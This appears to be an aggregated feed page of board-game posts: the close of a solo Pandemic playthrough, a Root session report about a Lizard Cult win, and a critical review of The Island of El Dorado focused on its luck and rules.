• Yellow - Sao Paulo - Outbreak - Move the outbreak marker to 3 and place a cube in Buenos Aires, Bogota, Lagos, and Madrid.

It's not making things easy for me; that's 5 cities on 3 cubes, and only 5 yellow cubes remaining - best get some mopping up done!

Round 5





Medic

I need to regain some yellow cubes; I also know that Bogota is still in the infection deck, so I'd like to clear that if I can. So, The Medic takes a shuttle to Atlanta, then moves to Miami, and finally to Bogota. With his last action he treats disease removing the 3 yellow cubes.

I could have treated disease in Cairo and Khartoum, also removing a total of 3 yellow cubes, but Bogota is joined to Sao Paulo, also on 3 cubes. So an outbreak in Bogota would also have caused an outbreak in Sao Paulo. The Quarantine Specialist has Milan covered, which only leaves Shanghai and Kolkata as an issue at the moment. And, as I almost forgot, Shanghai has been removed from the deck with an event card.

Medic city draw

• Red - Ho Chi Minh City
• Black - Riyadh

The red card is handy if the Medic needs to dash across the board. I now have a total of five black cards spread across all the characters, it's just a case of getting them together, easier said than done at the moment. If it was the last disease to cure then it would be worth the gamble just going for it, but as there are two left, I need a little more caution.

Medic infection draw

• Yellow - Kinshasa
• Yellow - Bogota
• Blue - Milan

What's with all the yellow cards coming out one after the other? I was lucky to have cleared Bogota, and the Quarantine Specialist prevents a cube going onto Milan and causing an outbreak.

Researcher

I would like to try and get the black cards of the other two characters, but it isn't going to be easy. I think it would be better to thin down Kolkata and Shanghai first, and see what cards get drawn this time around. So, she moves to Kolkata and treats disease three times, removing all 3 cubes.

I could have just treated disease once and then moved on to finish in Shanghai, but I wouldn't have had enough actions to treat disease there, and the cube state of Shanghai would remain the same. So, better to do something useful with the turn by removing the 3 cubes from Kolkata. Of course, Shanghai only becomes a problem if Beijing gets drawn, and then an epidemic occurs, and Beijing coming out again - I think the odds are on my side.

Researcher city draw

• Red - Manila
• Black - Kolkata

That's four black cards in her hand, just one more to get.

Researcher infection draw

• Black - Chennai
• Yellow - Los Angeles
• Black - Moscow

That puts all three of those countries on 3 cubes, but at least they're in the discard pile... at the moment!

Quarantine Specialist

First off she treats disease in Milan, and as we have a cure, she removes all 3 cubes there. She then moves via Istanbul to Moscow, and uses her last action to treat disease, removing 1 black cube.

I could have concentrated on trying to eradicate the blue disease, but that would be a mistake. The object of the game is to cure, not eradicate the diseases, and first time players often fall foul of this. By moving to Moscow she not only prevents the possibility of an outbreak there, but is also in a position to share knowledge with the researcher next turn, giving her Moscow.

Quarantine Specialist city draw

• Yellow- Santiago
• Blue - Atlanta

Good, I need all the yellow cards I can get my hands on!

Quarantine Specialist infection draw

• Black - Baghdad
• Red - Beijing
• Red - Osaka

Damn. Once again this puts all three countries onto 3 cubes, and Beijing is right next to Shanghai, which is also on 3 but was removed from the game earlier, so isn't in the infection deck!

Round 6





Medic

With The yellow disease running rampant, I think it's best to keep the Medic mopping up yellow cubes. He moves to Mexico and treats disease, removing 2 cubes, then on to LA and treats again, this time removing 3 cubes. (Reminder - this is the medic's special ability to remove all cubes of one colour when treating disease.)

I would much prefer to have the Medic dealing with the red trouble spots, as he only has to move through them to remove the cubes as the disease has been cured. So with that in mind I am moving him towards San Francisco, so he can cross to Manila or Tokyo next turn.

Medic city draw

• Yellow - Sao Paulo
• Yellow - Lima

Excellent, the Medic now has four yellow cards, just one more required. The Quarantine Specialist has two and can get to the Medic next go. So, maybe things are looking up... Let's see what the infection draw brings.

Medic infection draw

• Blue - St. Petersburg
• Red - Manila
• Black - Kolkata

A good draw. No cube goes on St. Petersburg as it's connected to Moscow where the Quarantine Specialist is. Manila is now on 3 cubes, but the Medic is in reach next turn (if we get that far!). Kolkata isn't an issue with its one cube.

Researcher

Takes three actions to move to Moscow, and the last one to share knowledge with the Quarantine Specialist, receiving Moscow.

An obvious move for the Quarantine Specialist, as she is now in a position to cure the black disease next turn.

Researcher city draw

• Event - Airlift - Move any 1 pawn to any city. (As she has eight cards she discards Manila)
• Yellow - Kinshasa

As she is once again on eight cards, instead of discarding a city cards she plays the event card - Airlift - moving the Medic to Bogota.

Moving the Medic to Bogota sets up a win in three more turns as the Quarantine Specialist can move to Santiago by using a direct flight, and then to Bogota and share knowledge. I just need a good couple of infection draws.

Researcher infection draw

• Yellow - Santiago
• Red - Taipei
• Blue - Essen

None of these are of immediate concern, I've been lucky this go!

Quarantine Specialist

I'm now going for broke, I have the possibility of curing the two remaining disease in the next few turns. It's a gamble, as an epidemic is due to come out in the next 6 cards - if I've counted it out correctly that is, but I can take five outbreaks before losing the game that way, so I think it's worth the risk.

She discards Santiago to take a direct flight there. Then to Lima and onto Bogota, that's 3 actions all together. Her last action is spent sharing knowledge with the Medic, giving him Bogota. The Medic discards Madrid as he has eight cards.

This move at least leaves the Quarantine Specialist protecting Sao Paulo, as it's connected to Bogota. Next move will see the Medic cure the Yellow disease... hopefully!

Quarantine Specialist city draw

• Black - Karachi
• Blue - Essen

Relief, no epidemic, lets hope I can go one more turn without seeing one!

Quarantine Specialist infection draw

• Blue - London
• Black - Algiers
• Blue - Chicago

I know I'm pretty safe on the infection draws at the moment - I'm drawing cards that have not been out before, so they shouldn't have many, if any, cubes on them.

Round 7





Medic

The Medic moves to Miami and on to Atlanta, where he discards the five yellow cards to discover the cure. With his last action he discards Ho Chi Minh City to take a direct flight there.

One more disease to cure, and hopefully I should be able to do that next turn. It would take something disastrous to lose the game now. I still took the opportunity to move the Medic to a red country, though it shouldn't be needed. Even if an epidemic comes up this turn, it is highly unlikely to cause five outbreaks or use up all of one colours cubes, so it looks as if the win is in the bag... Oh dear, I've gone and said it now!!!

Medic city draw

• Yellow - Lagos
• Black - Delhi

I've been really fortunate over this epidemic period - it appears that it must have been on the bottom of its deck when they were placed on top of one another at the start, as I work out that there is only 11 cards left.

Medic infection draw

• Blue - Paris
• Red - Ho Chi Minh City
• Black - Mumbai

Hurrah, nothing to worry about there, let's get on with the next turn!

Researcher

Holding five black cards she makes her way to the research station in Baghdad, which takes two actions. She then discovers a cure for the black disease and we win the game - panic over, the world has been saved!

The End

I took a look at the remainder of the city deck - the next two cards were both epidemics, it looks like I won just in the nick of time.

Well, that's my first play-through over and it's taken a lot longer than I expected, probably because I was doing it in small intervals rather than taking the time to do play it in one sitting. Next time, if there is a next time, I'll attempt to do it in one go.

With a bit of though, keeping an eye on what's in the infection discard pile, and an awareness of when the epidemics are going to come out, it should be possible to beat the game more often than not. It does make it slightly harder not dealing the player deck out evenly at the start, when you place the epidemics into it, but the one in every ten is usually not far off however you do it.

Of course, you can then move on to the harder game and include all six epidemics!

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          Session: Root:: Do You Have a Moment to Talk About Our Lord and Savior Basilisk Lizard?      Cache   Translate Page      

by ZackStack

My friends and I were getting experienced enough with Root to want to try the winter side of the board for the first time. We all also decided to try a faction we hadn't played before so Robert was the Cats, Michael selected the Eyrie, John was the Vagabond and I got to be the Lizard Cult. As the clearing tokens came out the major feature of the board was all four bunny clearings being clustered together in a square in the Southeast corner of the map. This got us all thinking about the possibilities and dangers of the rabbit dominance card so I was surprised when Robert put his keep in the opposite corner… until Michael immediately started grumbling about a terrible hand of cards as he was forced to put his first roost in a corner where he only had easy access to Rabbit clearings. John decided on the Scoundrel and placed his Raccoon in a southern forest space leaving me choosing to put my garden in the southwest fox clearing since it was adjacent to another fox clearing and I wanted that early draw bonus. As I was rocking foxes I started them as the outcast.

Early Turns

The Marquis drew the first move and Robert doubled down on his Eyrie hate by moving all his closest cats away from the bunny clearings and increasing his wood production near his keep. Michael had to stretch his decree with an extra movement to get his first Charismatic battle in so not to go into turmoil on turn 1. My initial move let me build another Fox garden to get that important extra card draw as well as put another warrior on the board to set up for future gardens and create my first acolyte. This would turn out to be the only acolyte I created all game this way as bird cards were few and far between in my hand and always seemed to be the first thing I discarded. It didn’t help that I immediately ended up discarding this first one to craft a crossbow. This tempted John’s Vagabond into a clearing I shared with the Marquis and he bought items from both of us at our Skink-mas craft show and completed a quest to boot.

The cards Marquis de Robert got from John emboldened him and he pushed forward against the birds to whittle their numbers down and make things extra tricky for Michael on his turn while building a little more back in his home clearings. The Eyrie puzzled through their turn only to get in position for their attacks and get ambushed by the cats to really hurt their numbers on the board. Michael did manage to build his first roost though so his scoring engine officially got under way. Thanks to John’s purchase I had a nearly full hand of cards and was able to pop up a couple gardens in the mouse clearings north and east of my starting position encroaching toward bird and cat territory respectively. I even scored a couple of points for my fox gardens since it was getting close to discard time. Apparently my foxes singing the praises of our scaly lord attracted John’s vagabond as he slipped into my home clearing to complete a Fox quest and aid me despite my not having crafted anything so he could keep up in the early points race.

This led to the key turn that shaped the game to the will of our Lord and Savior Basilisk Lizard. Robert the Cat decided he had left the Eyrie in a precarious enough position and was running out of room to build in his home clearings so turned his attention to me. He attacked in my central Fox clearing and made me some acolytes, trashed the garden in that spot (costing me my only bird card) and built a new forward recruitment center. All well and good but his key mistake was saving one of his soldiers with a fox field hospital card… The Eyrie was in clear trouble as with no new cats in the area he wasn’t going to be able to attack and build so the decree was going to fall. He did decide to at least get an attack in the only place he could… so I earned another acolyte and he went into turmoil.

These clear transgressions against the Great Alligator in the Sky ended up making the fox outcasts quite hateful as Robert’s field hospital card tipped them to the majority. With my conspiracies now at a discount I was able to turn the Cat’s new recruitment center into a garden, change his one remaining soldier in that clearing into a loyal follower of the Great Lizard and I even had one acolyte left over. Glancing at my home clearing I saw the Vagabond blaspheming the place with his being covered with fur instead of scales and promptly had him beaten with staves breaking quite a few of his trinkets and forcing him to skulk off into the woods to and think about what he’d done on his turn.

Mid-Game

The tone for our mid-game was set. Michael’s Eyrie slowly recovered its momentum under the Despot to get recruitment and roosts going all over the east of the board. The Vagabond started using his crossbows to make sure he never ended his turns with any living lizards nearby and started clearing ruins in search of his sword. So the most interesting story of these rounds was the turmoil of the now open war between the misguided Marquis and my holy lizard warriors. Robert would strike wherever he could kill a garden easily and I would use the resulting acolytes to keep swapping his buildings that had been built earlier in fox clearings and even got to reach out across the board to the far corner to threaten the Eyrie’s fox clearing too.

The key to all this was Michael. He was drawing more cards than he could hold as the Eyrie and kept discarding to have the most control of the outcast of any of us… but he kept having to make a choice between leaving things Foxy or make the Bunnies in his home territories start singing the praises of He of the Long Tail. He kept deciding to not bring my attention his way so the Foxes remained the Hated Outcast for the entire rest of the game! I was eventually able to use that steady stream of acolytes and discount conspiracies to wreck Robert’s main wood producing fox clearing in the north and smash all the wood there to splinters in the name of the King of All Lizards for solid points. I started pulling ahead as the Eyrie had gambled on knocking me out of a clearing where I ended up ambushing them to force them once again into turmoil. I had all five fox gardens out and was spending cards on points instead of recruitment and building more often now to pull ahead as all must heed He of the Coldest Blood!

End Game

All those turns of being nearly the sole target of my conspiracies left the Marquis broken and down to only two buildings on the board while the Eyrie was in a fresh decree under the Commander hoping those extra attack hits could help him get back into the game. The Cats had felt forced to use the Fox Dominance card as a field hospital as recruitment centers became gardens and his troops began to dwindle. My Cold Lizard Brain saw all five Fox gardens on the Board mostly hidden behind solid numbers of warriors… but He Who Basks in the Sun hissed in my ear to look into the beady eyes of those who opposed me and see the alliance against us that was beginning to form… so I was patient and passed on picking up the dominance card to spend a bunch of cards for points before they all started piling on.

That was a good move as the Vagabond had found his sword and wiped out everything in my strong central fox clearing without needing to even resort to his Scoundrel scorched earth torch. The Marquis finally started making a move toward my mouse clearing instead of my fox clearings and the Eyrie knocked me clean out of another Fox home. Thanks to all those lovely new acolytes I converted some bird warriors and kept recruiting and building wherever the opportunity presented itself with the few cards I had left but I could feel the tide turning and knew my scoring opportunities wouldn’t last.

Luckily the Great Basilisk Lizard had one last favor in store for me. I drew the Royal Decree crafting card and some low rolls from my opponents left me discarding only one card when I lost a single garden over the next round and I kept it! The Eyrie had been forced to build in a Fox clearing to save his decree so I once again bumped up to 4 Fox gardens and spent all my other cards on points to get to 26 points then crafted the Royal decree with those Hated Outcast Foxes. That card would let me score one point per clearing I controlled at my next daybreak causing much annoyance around the table as they plotted to kick me out of as many clearings as possible. Unfortunately for them all my remaining gardens had lizards protecting them so despite the Marquis and Vagabond being successful in their attacks when the Eyrie had to split their attack because of how their decree was set up it wasn’t quite enough and the Great Wurm still had his claws in three clearings when my turn came around. I used the royal decree to get to 29 then converted one last cat building in a fox clearing (the poor Marquis had thought he was safe building there at one point when all my fox gardens were on the board…) to score my 30th point for a resounding win for the Great Lizard in the Sky!



The end state of our board. This picture was taken right after the Marquis had thrown his hand of cards on the board in disgust…

          Review: The Island of El Dorado:: [Review] The Island of El Dorado -- Not enough strategy for heavy gamers, and too much luck for even light gamers. "A game that appeals to everyone, but satisfies no one."      Cache   Translate Page      

by n3burgener

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Note that the first two paragraphs summarize what the game is about and how it's played, so if you're already familiar with that then you can skip ahead to the paragraphs with bold text for my opinionated analysis (ie, the review portion of this review). I've bolded certain lines of text to faciliate "TL;DR" skim-throughs, essentially highlighting topic statements and important thoughts, but you can also skip to the last few paragraphs if you just want the summary.

Also note that this review was originally posted on my blog, where I mostly review video games, but occasionally also board games.

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The Island of El Dorado (by Daniel Aronson) is a tile-laying exploration board game for 2-4 players (60-90 minutes) in which players are 16th century explorers discovering the island of El Dorado and competing to be the first to lay claim to all four shrines, which is said to grant the explorer access to untold wealth and power. A typical turn goes through a two-step process of first rolling two dice to determine how many spaces you can move your explorer as well as how many resources you produce at the beginning of your turn, and then going through your “explore phase” in which you move your explorer and/or villagers (who serve double-duty as both army units for combat as well as workers for resource-production) and spend resources to build structures, recruit more villagers, or give offerings to shrines. Players may also confront each other in direct combat by moving their explorer or army figures onto another player's space, rolling dice based on each player's total strength in the battle to determine a victor. Three of the shrines can be found scattered around the island, but the fourth is hidden inside a cave that must be explored separately, and which also houses assorted monsters and dangerous encounters. The first player to control all four shrines wins the game.

In practice, The Island of El Dorado plays like a cross between The Settlers of Catan and Risk, with a tile-laying exploration element like Betrayal at House on the Hill or Escape: Curse of the Temple where you build the map as you play. As a game with relatively light, simple rules and a high degree of luck, it's intended to be more of a family-weight game for families and more casual gamers, though the designer has since published rules for a "Hardcore Mode" intended for more strategic gamers who dislike how much of a factor luck plays in the standard rules. I backed the first Kickstarter because I hoped it would serve as a more pleasant alternative to Catan, since it fits in the same weight class and has so many superficial similarities (plus, I'm a sucker for exploration games) but I find that I just don't like it very much, or at least not with any of the current rules. Even for a family-weight game, the luck element is just too prevalent in this game, and I feel like it runs too long for such a simple, luck-dependent game. The "Hardcore Mode" rules help, but I have some issues with those, too. The bulk of this review will deal with the standard rules, and then I'll discuss the "Hardcore Mode" rules separately.

My biggest issue with the standard rules is that pretty much everything in this game is random: how many spaces you can move per turn is random, how many resources you can gather per turn is random, how the board shapes up is random, where the shrines appear is random, what you encounter in the cave is random, how you win battles is random, and so on. It's so random that practically no amount of strategy will help you win, because so much of it comes down to random luck in terms of who can get to the shrines first, and who can win key battles. So many times in this game I've felt like I had a great plan for my turn, only to roll the dice and get stuck with low rolls that prevent me from doing much of anything, or I confidently move in to attack someone with a vastly superior army and lose because I rolled poorly on the dice. I've had players win because they were the ones constantly discovering the shrines while everyone else was discovering nothing in the opposite direction and having to waste turns moving back into position just to catch up. And every single game I've played came down to a situation where a single roll of the dice or a single tile draw (both of which you have very little to no control over as a player) was the only thing separating three or more players from first place.



A three-player game in progress.


Every game follows roughly the same pattern; players take turns exploring the island until they find a good spot to set up a farmhouse and/or until they discover a shrine, then players take turns building up their pool of resources and moving to give offerings to shrines, then once a player has all or most of the island shrines and a big enough army they go into the cave to try to find the cave shrine, which is the most important one since it grants its owner +2 strength in combat (as opposed to +1 for the other three shrines) and is the only one with exclusive ownership -- whereas multiple players can share control of the normal shrines, only one player can ever possess the cave shrine at a time, passing it to someone else if their explorer is defeated. And since finding the cave shrine requires you to (likely) fight assorted monsters, it's a task better saved for later in the game after you've gained combat strength through other shrine offerings, and/or by stockpiling enough resources that you can give up on resource production and take your villagers into the cave with you as an army. Typically, the winner is whoever discovers the cave shrine first, or whoever defeats the cave shrine possessor in combat.

It seems like every game I play, everyone ends up roughly neck-and-neck towards the finish line, with all players controlling three of the four shrines and needing just one more to win. That sounds like a good thing, since that means the players are all fairly evenly matched and everyone should feel like they're in it for the whole game (no one's ever so far behind that they can't catch up, or no one's the clear runaway leader), but here's the problem: when everyone is that close at the end of the game, all it takes is a small bit of random luck to swing a victory. Usually, in the games I've played, the person who wins is the player who got the luckiest at the very end of the game; someone wanders into the cave and happens to find the last shrine without ever having to fight any tough cave dwellers and wins the game, or someone rolls better results in combat thus taking the cave shrine from its current owner and wins the game, or someone rolls better results in combat and thus has an unchallenged path to their final shrine and wins the game. Consequently, most games tend to end rather abruptly and anticlimactically, with players often feeling like they didn't do anything to earn or deserve their outcome.

"King-making" can play a role in the end-game, since a player out of contention can potentially choose the victor depending on whom they attack in the final rounds, while "bash the leader" also comes into play, since players are basically forced to target a specific player if someone's making a strong push for their final shrine just to prevent another player from winning. On the one hand, that's kind of exciting having to react to other players and make a last ditch effort to stop someone else, but on the other hand it gets kind of tedious when all you're really doing is prolonging the game just so you can keep knocking each other around until someone gets lucky on a critical dice roll or tile draw. And it's not like these are deep, interesting, tactical decisions you're making -- in these instances, you're reacting to the game state and doing essentially what the game mandates must be done in order for you to continue having a chance to win. "This doesn't really help me, but I need to move over here and fight this player just to prevent them from winning" isn't a very satisfying decision to me, especially when the outcome is determined almost entirely through a single dice roll over which I have no influence, other than bringing a larger army so I can roll more dice and hopefully roll better results than my opponent.



Blue rolls a 5 on three dice, white rolls a 4 on five dice.


Combat is particularly egregious when it comes to random luck, largely because there's no real strategy, but also because the dice are so highly variable. The game uses regular six-sided dice (numbered 1-6) to determine your movement and production points each turn, but uses Betrayal at House on the Hill dice for combat (sides numbered 0,0,1,1,2,2). While that lower range of numbers should help in theory to keep the variance to a minimum, you have the same chance on every die of rolling a 0 or a 2, and when you're only rolling 3-4 dice it's not uncommon for one player to roll a couple 0's while the other rolls a couple 2's. If two players are committing the same (or similar) strength to a fight and they're therefore rolling a similar number of dice, then it's pure random luck who wins.

Your only way to influence the outcome of the fight is to simply bring a bigger army so that you can roll more dice, but the fact that you can still roll blanks doesn't guarantee a better roll -- adding more dice to the pool raises the ceiling of your roll, but not the floor. With the 001122 dice, if you're rolling four dice against your opponent's two dice, then your results can range anywhere from 0-8, versus their roll of 0-4; if you roll slightly below average, you score a 3, and if they roll slightly above average, they score a 3, and you'd tie, meaning that all it takes is a slight difference in a random dice roll to determine a victor. If the dice had sides of, say, 112233 instead, then you'd be rolling between 4-12, versus their 2-6; if you roll slightly below average, you score a 7, and if they roll slightly above average, they score a 5, meaning that rolling more dice would actually reward you with generally better results, and it would take more extreme rolls to swing the outcome. You could, alternatively, achieve the same results by adding your strength to your final roll, which is a rule I might consider implementing in the future.

The production dice aren’t much better, since a random dice roll determines basically how good your turn is going to be. Roll high and you can produce a ton of resources and swoop across the board to fight someone or lay claim to a shrine; roll low and you can’t do much of anything and feel like you basically just lost a turn. While it’s true that dice rolls will generally average out over a period of time, they’re still vulnerable to good or bad streaks where a player might get multiple good or bad rolls in a row, and it’s not fun to spend multiple turns rolling nothing but 1's and 2's while someone else consistently lands on the upper half of the dice rolls. The official “less random” variant for your production roll helps a bit (instead of rolling 2d6, players roll 1d6 and use the face-up side and the face-down side as the two results, so that you always have a sum total of seven points on your turn; the dice just determine the ratio), but you still run into issues where you’re like “man I really need a five or a six this turn” or “a four and a three would be an ideal combo” and you just don’t get the results you need, thereby throwing a bit of a wrench in your plans. And even then, you’re still stuck with the even worse combat dice.



The final layout of a two-player game.


Losing just a single battle can have pretty dire consequences, and can knock you completely out of the game if it happens at the right time. Pretty much every session I've played had the victor determined by whomever won the last combat, because it either gave them the victory right then and there or left a clear path for them to reach victory. When you lose a fight, all of your villagers in the battle die, you lose half of your resources, and your explorer gets moved to somewhere of the winner's choosing, usually the most remote space on the opposite side of the board. If you had any structures attached to that space (like a farmhouse necessary for resource production) then they will likely destroy it, too. So, if your home base of operations just got attacked and you lose the dice roll by a single point, then you lose practically all of your pieces on the board, plus half the cards in your hand, and have to rebuild everything with now fewer resources than you had, in a remote corner of the board far away from everything else. It’s not completely crippling because buildings and villagers are pretty cheap to produce, but it effectively sets you back several turns and that can be enough to knock you out if it's near the end of the game, when you might not have enough turns left to get back into it.

I just played a two-player game, for instance, where we went from being tied at two shrines a piece midway through the race to me losing in the span of two turns. I had just found the cave shrine (putting me at two shrines), and my opponent (who had both of the revealed island shrines) decided to camp on the cave entrance and form a blockade, forcing me to attack him to get out. I did so on my turn and lost the fight, purely due to bad luck (we were both rolling eight dice, the maximum we could commit to the fight), and thus lost the cave shrine to my opponent (putting me at one of four shrines and him at three of four) plus all my pieces on the board and half of my resources. On the very next turn, he went exploring and stumbled upon the final island shrine, and had enough resources on hand to give an offering then and there, ending the game in a sudden victory (for him). And there was nothing I could do about it, because I had lost pretty much everything in that one fight. He felt like it was a hollow victory, and we both agreed it was stupid that we went from being tied roughly halfway through the race to me losing, all in the span of 30 seconds, all because of one random dice roll and one random tile draw.

The reason I get so hung up on the highly random combat dice is that it feels like you have no control over the outcome, and that's generally a bad feeling to have in a game. I understand that it's supposed to make the game more family-friendly, since the luck aspect should balance the playing field over time and give less experienced or less strategic players a chance of winning, even when they'd realistically be completely out-matched, but losing a game because of random dice rolls is really deflating, and winning because of them devalues the victory. We played a game where one player went undefeated in every fight he was involved in, despite the fact that the other player and I were consistently rolling more dice than him (sometimes twice as many), and so we were constantly bereft of resources and never in a good position on the board, while he had an overabundance of resources and practically free-roam of the board -- all because of random luck. I've played all ten or so of my sessions with relatively light gamers who’re only used to games like Catan and Ticket to Ride, and even they complained to me about how random everything felt, and how much of a role luck plays in winning.



Explorer cards are all double-sided for 10 unique explorers.


The asymmetric explorer abilities may not be fully balanced, either. While they all seem to have interesting abilities and I generally enjoy trying a different character and making their ability work to my strategy, I've found some to be just more useful than others. Tizoc's free food and Victoria's extra starting resources come in handy early on, but then give you practically zero benefit in the second half of the game. Emma's ability to look at and rearrange the top three island tiles gives her more control of exploration, but only really comes in handy on rare occasions when she draws an ocean or shrine tile. Stella's +1 speed seems pretty nice, but I sometimes find myself not using my full movement because I want to end my turn on a certain terrain or don't want to stray too far from my army, in which case the extra movement is wasted. When playing as William, I found that I rarely needed to use his discounted exchange rate. And so, in a game with as much chaotic dice rolling as El Dorado, I usually find myself wanting to play as Nicolas (or is it Nicholas? It's printed two different ways on the player board and in the manual) or Pedro, the two characters who give you benefits to dice-rolling.

I feel like the game suffers a bit from "Betrayal at House on the Hill Syndrome," where the quality of each individual session and therefore the amount of fun players can have can vary wildly depending on how the board happens to shape up. Sometimes you end up producing interesting maps with tactical bottlenecks between shrines, where players are encouraged to set up defensive blockades and have to plan their movements more meticulously, and other times the shrines all appear right next to each other and it ends up being a quick skirmish where someone jumps out to a quick lead and then the game ends. Sometimes everything lays out conveniently for one player and does no favors for anyone else, or other times someone goes into the cave and randomly finds the cave shrine in one of the first tiles, abruptly winning the game in an unsatisfying anticlimax. Point is, some games just end up being better or worse than others, largely due to random elements, and while the good games can be fairly decent the bad games have little to no redeeming value. At least with bad games of Betrayal you get a unique scenario you haven’t seen before, and maybe some kind of memorable story, but with El Dorado you get basically the exact same game but with less fun.

Despite whatever strategy you may think you have going into the game, all players have the exact same objective (be the first to claim all four shrines) and have to go through the exact same steps (deliver two of each resource to all three of the island shrines, and either find or steal the cave shrine) to achieve that goal. Consequently, there aren't a lot of decisions to make in this game, and the few that exist all lead directly to very short-term, surface-level goals. That is to say, decisions and gameplay mechanisms don't really lead to branching strategies where players might try to do different things to win the game in different ways, because everyone's forcibly railroaded into very similar strategies, and whether or not you win largely comes down to circumstances beyond your control -- random dice rolls and random tile draws. Compare this to, say, Viticulture, which isn't that much heavier than El Dorado in terms of rules complexity or total length; while everyone has the same objective of "be the first to reach 20 victory points," Viticulture gives you a lot of different ways to earn points, so when things don't go your way you have other options to fall back on. Not to mention, it allows you to go into the game with different long-term and short-term strategies that could vary from game to game, because it gives you a lot more choices about how to play the game and how to achieve your goals. El Dorado, in contrast, says "play the game in this exact way, and if that doesn't work then try again and hope for better results."



Green and blue are both producing all three types of resources.


Besides combat and exploration, there’s also a light economic element with building structures, recruiting villagers, and managing resources, almost like an engine-building game. Unfortunately, like everything else in the game, this dimension of gameplay feels incredibly shallow and underwhelming. Setting up your economy is as simple as building one farmhouse and recruiting a handful of villagers onto adjacent tiles, and that’s all you need to do for the entire game, which can be accomplished in one or two turns. This process can be expedited even further by finding one of the garden tiles, which count as "wild" and produce all three resources on a single tile, meaning you only ever need to commit a single villager to produce any and all resources you could ever need. If no one ever attacks your farm, then it just sits there the entire time passively collecting resources. So, it’s not really engine-building since your economy doesn’t progressively evolve over the course of the game, which is fine I guess for a light, simple, family-weight game, but there’s no real satisfaction to setting up your economy because there aren’t any extra layers of decision-making going into it -- your economy is perpetually in a binary of state of either existing or not existing, which isn't very exciting and feels like a missed opportunity to do something more engaging with the gameplay.

Meanwhile, there’s no limit to the amount of resources you can have at any time (ie, a hand limit) so the whole process of gathering resources only usually matters in the early stages of the game, because after a while people will start accumulating so many excessive resources that production no longer becomes as necessary, and also because certain resources become progressively less useful as the game goes on. Food is basically only used to recruit villagers, and wood is basically only used to build farmhouses. These resources are only used sporadically after the early stages of the game, if you lose your farm or your villagers (or still have a shrine offering to give), making gold the only resource with any late game value since you have to spend gold to move your army, and it’s usually being spent in large quantities to move your army greater distances. Not to mention its usefulness in building forts, which are perhaps more important in the second half of the game when there's usually more combat. Decision-making, therefore, is further reduced to a single dimension because after a certain point there’s practically no reason to take anything other than gold.

And because there’s no hand limit, it’s entirely possible for a particular resource to be completely drained from the supply, with one or two players hoarding all of them, leaving you with no way to gain those resources except by beating someone in combat (which might not be possible if you don’t have any gold to move your army) and hoping they choose to give you whatever resource you need (likely gold), which they might not even have to give if they have enough other useless resources lying around (likely gained from another player they beat in combat). In one game, a player decided to turtle up in a remote corner of the map and spent half the game slowly taking the entire gold supply until eventually she had practically all of it, leaving hardly any gold for me or the other player to move our armies, which then put us at a severe disadvantage trying to take it from her because we couldn't bring our armies with us. In another game we somehow drained the entire supply of food, and so the player with the explorer ability to gain one free food at the start of every turn went several turns in a row gaining no benefit from his explorer ability. Maybe this is an intended strategy and it’s all just a part of the gameplay (because maybe it promotes combat, or encourages trading between players), but it just seems like a weird oversight to me, especially since the "Hardcore Mode" rules aim to "fix" this problem by implementing a hand limit.



All three shrines randomly ended up right next to each other.


With the "Hardcore Mode" rules, players have a hand limit of 10 cards, which I kind of like because it makes the decision about what resources to take more interesting, since you not only need to think about how many you need, but how many you can hold. It forces you to plan at least one turn ahead, most of the time, and puts you in situations where you have to decide between holding on to enough resources to give a shrine offering, or holding on to a bunch of gold so that you can move your armies and re-roll dice in combat. Using gold to re-roll combat dice is another nice change, since it gives you more decisions to make during a fight, and adds a bit of a "push your luck" element to the gameplay -- you can re-roll as many dice as you want, spending one gold per die, but you only get one re-roll, so do you re-roll those 1's that could possibly turn up as 0's? I also like how the attacker has to complete their roll (and possible re-roll) before the defender even takes their first roll, because then you have that thought process of "my roll is pretty high, what're the odds he can roll better than me? Should I bother to re-roll anything at all?" (This, by the way, makes gold even more valuable, which is a bit questionable since it was already far and away the most valuable resource in the game.)

The third major change in "Hardcore Mode" is that you don't roll dice to determine movement and production; you're simply allotted six "points" to spend either way; you get to choose exactly how many you spend moving or producing, giving you a lot more strategic control over your turns. Finally, each player gets assigned one of the shrine tiles at the start of the game and gets to choose where they place it, as long as they do so within three turns, guaranteeing that each player will at least have an equal opportunity to discover a shrine, rather than possibly being burned wasting turns exploring and finding nothing. Besides that, a minor tweak of "Hardcore Mode" is to shuffle the cave shrine into the bottom half of the cave stack so that players are more likely to have to encounter cave dwellers, and will have to actually explore part of the cave to find the cave shrine.

These are all positive changes that I enjoy since they help reduce the extreme randomness and make the game a little more strategic, but in practice I still have issues with them. My biggest gripe is that the hardcore rules inflate the total playtime even further, since the hand limit now forces you to spend multiple turns doing something that might've only taken one turn previously in addition to having to spend more time thinking and planning out future turns. Other things like re-rolling dice in combat and having to explore at least half of the cave add extra time taking more actions and also calculating odds in one's head, and each player getting to choose where to place a shrine almost guarantees they'll all get placed on opposite corners of the board creating a larger, more spread-out island. The game ran about 90 minutes or more in a three player game with just the base rules, which was already a little too long for what was supposed to be a family/gatewaty game, and the hardcore rules turned it into a two hour game with a group already experienced with the basic rules, and that's simply too long for this kind of game even if the "Hardcare Mode" is supposed to make it more of a "gamer's game." It's still the same game and it still comes down to "who can roll the best in the final moments." So while I like the intention of the hardcore rules, I think they're a bit of a mixed bag, and if I continue to play El Dorado in the future I'll probably pick and choose what rules I use and may even house-rule a few things.



Exploring the cave and encountering the thieves.


The rule book is pretty bad, by the way, at actually explaining the rules. The garden tile isn’t even mentioned in the rule book, except in a graphic summary on the back cover of the rules, which doesn't even clarify how it functions. Can it produce multiple different types of resources at once, or do you choose only one type to produce that turn? The rules for building a fort specify that it must be built on a corner between three tiles adjacent to your explorer where all three adjacent tiles are "unoccupied," but your explorer "occupies" the tile he's on, so clearly that's an exception that isn't mentioned anywhere in the rules, but what about your villagers? Can you build a fort on a tile if it's "occupied" by your own villagers, or is it only opponent pieces "occupying" spaces that blocks building? If you lose a fight to a cave dweller, you're supposed to shuffle the cave dweller back into the cave stack, but it doesn't say what to do with your explorer; does it follow normal combat rules between players where you get moved back to a shrine you control, or do you move back one hex to your previous tile, like in the explanation for what happens in the event of a tie? The thieves are found inside the cave, but they have their own entry in the rules, separate from the “cave dwellers” entry so are they technically cave dwellers and do they follow the rules for cave dwellers? Can there be more than two people in a fight, and if so, how does that work?

